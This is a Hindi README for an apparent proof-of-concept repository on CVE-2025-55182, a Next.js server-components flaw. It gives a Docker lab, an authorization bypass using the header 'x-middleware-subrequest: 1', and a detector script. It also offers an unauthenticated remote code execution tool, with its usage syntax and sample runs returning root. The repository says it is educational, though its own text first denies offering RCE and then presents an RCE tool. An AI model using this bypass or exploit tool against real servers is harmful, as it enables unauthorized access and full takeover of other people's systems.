CVE-2025-55182 / CVE-2025-66478 — Next.js मिडलवेयर / RSC बायपास विश्लेषण

लेखक इस शोध के दुरुपयोग या इससे होने वाली क्षति के लिए कोई जिम्मेदारी नहीं लेता है
यह पूर्णतः शैक्षिक और रक्षात्मक उद्देश्यों के लिए प्रदान किया गया है

---

विवरण

यह रिपॉज़िटरी CVE-2025-55182 और इसके डुप्लिकेट CVE-2025-66478 के लिए एक छोटी प्रयोगशाला और Proof-of-Concept विश्लेषण है, जो Next.js React Server Components (RSC) और मिडलवेयर प्राधिकरण बायपास व्यवहार से संबंधित है।

इस PoC का उद्देश्य भेद्यता के लिए आवश्यक आंतरिक अनुरोध-प्रवाह (request-flow) स्थितियों को पुनः निर्मित करना, मिडलवेयर व्यवहार का विश्लेषण करना और यह समझना है कि x-middleware-subrequest विशिष्ट कॉन्फ़िगरेशन के अंतर्गत सुरक्षित रूट्स को कैसे प्रभावित करता है।

यह रिपॉज़िटरी रिमोट कोड निष्पादन नहीं प्रदान करती है
यह अध्ययन हेतु एक नियंत्रित वातावरण प्रदान करती है:

• मिडलवेयर प्राधिकरण
• RSC / Flight हेडर
• App Router अनुरोध प्रवाह
• निर्मित (crafted) हेडर के अंतर्गत बायपास व्यवहार

NVD वर्तमान में CVE-2025-66478 को इस प्रकार वर्गीकृत करता है:

Rejected reason: This CVE is a duplicate of CVE-2025-55182

यह व्यवहार अभी भी मौजूद है; समेकन के दौरान केवल पहचानकर्ता बदला गया था।

---

हमला वेक्टर (व्यवहार सारांश)

1. एक सुरक्षित API रूट को मिडलवेयर द्वारा लागू किया जाता है
2. एक सामान्य अनुरोध 403 Forbidden लौटाता है
3. जब निम्नलिखित जोड़ा जाता है:

x-middleware-subrequest: 1

4. अनुरोध गलत तरीके से 200 OK लौटा सकता है
5. व्यवहार मिडलवेयर लेआउट, App Router और RSC हेडर पर निर्भर करता है

प्रभावित प्रवाहों में आमतौर पर मौजूद हेडर:

X-Powered-By: Next.js
x-middleware-rewrite: /...
Vary: RSC, Next-Router-State-Tree, Next-Router-Prefetch, Next-Url, Accept-Encoding

---

प्रयोगशाला संरचना

nextjs-vuln/
│
├── Dockerfile
├── package.json
├── middleware.js
│
└── app/
    ├── page/
    │   └── index.js
    │
    ├── protected/
    │   └── page.js
    │
    └── api/
        └── admin/
            └── secret/
                └── route.js

---

प्रयोगशाला चलाना (Docker)

docker build -t nextjs-vuln .
docker run -p 3000:3000 nextjs-vuln

---

PoC स्क्रिप्ट उपयोग

इस रिपॉज़िटरी में विश्लेषण हेतु एक सहायक स्क्रिप्ट NextJs.py शामिल है:

• सामान्य बनाम बायपास प्रतिक्रियाएँ
• मिडलवेयर परिवर्तन
• RSC / Flight हेडर की उपस्थिति

उदाहरण:

python3 NextJs.py -u http://localhost:3000

krakhen@kapz:~$ python3 NextJs.py -u http://localhost:3000
Next.js React2Shell Passive Detector
------------------------------------

[+] Target URL : http://127.0.0.1:3000
[+] Timeout    : 10s
[+] TLS verify : enabled

=== Fingerprint ===
  - Next.js detected via headers.
  - React Server Components (RSC) detected.
  - Inferred Next.js generation: Next.js (generation unclear)

=== React2Shell Probe ===
  - Benign React Flight gadget executed and returned marker digest.
  - This strongly suggests React2Shell / CVE-2025-55182 style vulnerability.

=== Summary ===
Timestamp (UTC): 2025-12-05T22:04:25.089044+00:00
Target         : http://127.0.0.1:3000
HTTP status    : 500
Digest         : REACT2SHELL_PROBE
Verdict        : LIKELY_VULNERABLE to React2Shell-style exploit path

Response body (truncated):
0:{"a":"$@1","f":"","b":"development"} 1:E{"digest":"REACT2SHELL_PROBE","message":"NEXT_REDIRECT","stack":[],"env":"Server"}

---

रिमोट कोड एक्सप्लॉइट | PoC poc-cve-2025-55182.py

यह टूल आपको बिना प्रमाणीकरण के मनमाने ढंग से रिमोट कोड निष्पादित करने की अनुमति देता है।

उपयोग:

• python3 poc-cve-2025-55182.py -u http://host:port -c "command"

krakhen@kapz:~/$ python poc-cve-2025-55182.py -u http://127.0.0.1:3000 -c "uname -a"
React2Shell PoC - CVE-2025-55182
---------------------------------

[+] Target URL : http://127.0.0.1:3000
[+] Command    : uname -a

[+] Sending crafted Flight payload...
[+] HTTP status: 500

[✓] RCE confirmed. Command output:

    Linux 5596495ec378 6.11.0-29-generic #29-Ubuntu SMP PREEMPT_DYNAMIC Fri Jun 13 20:29:41 UTC 2025 x86_64 Linux

krakhen@kapz:~/$ python poc-cve-2025-55182.py -u http://127.0.0.1:3000 -c "whoami"
React2Shell PoC - CVE-2025-55182
---------------------------------

[+] Target URL : http://127.0.0.1:3000
[+] Command    : whoami

[+] Sending crafted Flight payload...
[+] HTTP status: 500

[✓] RCE confirmed. Command output:

    root

krakhen@kapz:~/$ python poc-cve-2025-55182.py -u http://127.0.0.1:3000 -c "id"
React2Shell PoC - CVE-2025-55182
---------------------------------

[+] Target URL : http://127.0.0.1:3000
[+] Command    : id

[+] Sending crafted Flight payload...
[+] HTTP status: 500

[✓] RCE confirmed. Command output:

    uid=0(root) gid=0(root) groups=0(root),0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)

---

Docker लॉग

 POST / 500 in 10ms
 ⨯ next/dist/compiled/react-server-dom-webpack/cjs/react-server-dom-webpack-server.node.development.js (3158:34) @ get
 ⨯ Internal error: Error: NEXT_REDIRECT
    at Object.eval [as then] (eval at <anonymous> (/app/node_modules/next/dist/compiled/next-server/app-page.runtime.dev.js:122:67039), <anonymous>:3:132)
    at process.processTicksAndRejections (node:internal/process/task_queues:95:5)
digest: "Linux 5596495ec378 6.11.0-29-generic #29-Ubuntu SMP PREEMPT_DYNAMIC Fri Jun 13 20:29:41 UTC 2025 x86_64 Linux"
  3156 |             return (
  3157 |               (obj = parseInt(value.slice(2), 16)),
> 3158 |               response._formData.get(response._prefix + obj)
       |                                  ^
  3159 |             );
  3160 |         }
  3161 |         switch (value[1]) {
 POST / 500 in 11ms
 ⨯ next/dist/compiled/react-server-dom-webpack/cjs/react-server-dom-webpack-server.node.development.js (3158:34) @ get
 ⨯ Internal error: Error: NEXT_REDIRECT
    at Object.eval [as then] (eval at <anonymous> (/app/node_modules/next/dist/compiled/next-server/app-page.runtime.dev.js:122:67039), <anonymous>:3:130)
    at process.processTicksAndRejections (node:internal/process/task_queues:95:5)
digest: "root"
  3156 |             return (
  3157 |               (obj = parseInt(value.slice(2), 16)),
> 3158 |               response._formData.get(response._prefix + obj)
       |                                  ^
  3159 |             );
  3160 |         }
  3161 |         switch (value[1]) {
 POST / 500 in 11ms
 ⨯ next/dist/compiled/react-server-dom-webpack/cjs/react-server-dom-webpack-server.node.development.js (3158:34) @ get
 ⨯ Internal error: Error: NEXT_REDIRECT
    at Object.eval [as then] (eval at <anonymous> (/app/node_modules/next/dist/compiled/next-server/app-page.runtime.dev.js:122:67039), <anonymous>:3:126)
    at process.processTicksAndRejections (node:internal/process/task_queues:95:5)
digest: "uid=0(root) gid=0(root) groups=0(root),0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)"
  3156 |             return (
  3157 |               (obj = parseInt(value.slice(2), 16)),
> 3158 |               response._formData.get(response._prefix + obj)
       |                                  ^
  3159 |             );
  3160 |         }
  3161 |         switch (value[1]) {

लेखक और संपर्क

• शोधकर्ता : krakhen.dev
• GitHub : @nehkark
• ईमेल : [email protected]**
• वेबसाइट : https://vciso.cloud
• ICQ : 24298753

---